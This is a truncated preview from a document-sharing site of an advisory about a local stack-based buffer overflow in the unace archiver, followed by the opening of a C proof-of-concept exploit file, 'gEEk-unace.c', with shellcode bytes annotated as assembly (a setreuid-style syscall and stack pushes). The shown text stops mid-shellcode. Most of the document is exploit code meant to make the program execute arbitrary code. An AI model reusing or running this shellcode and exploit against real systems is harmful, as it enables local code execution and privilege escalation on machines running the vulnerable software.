Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (30.89 KB, 2 trang )
Unace Exploitable Buffer Overflow
trang này đã được đọc lần
An exploitable buffer overflow in unace has been found, the vulnereability will allow local attackers to cause
the product to execute abitrary code. The following exploit code can be used to test the software for the
vulnerability.
CODE
/* gEEk-unace.c
*
* PoC exploit made for advisory based uppon an local stack based overflow.
* Vulnerable versions, maybe also prior versions:
*
*
* Tested on: Debian 3.0
*
* Advisory source: MegaHz
*
* -----------------------------------------
* coded by: demz (geekz.nl) ()
* -----------------------------------------
*
*/
#include <stdio.h>
#include <stdlib.h>
char shellcode[]=
"\x31\xc0" // xor eax, eax
"\x31\xdb" // xor ebx, ebx
"\x31\xc9" // xor ecx, ecx
"\xb0\x46" // mov al, 70
"\xcd\x80" // int 0x80
"\x31\xc0" // xor eax, eax
"\x50" // push eax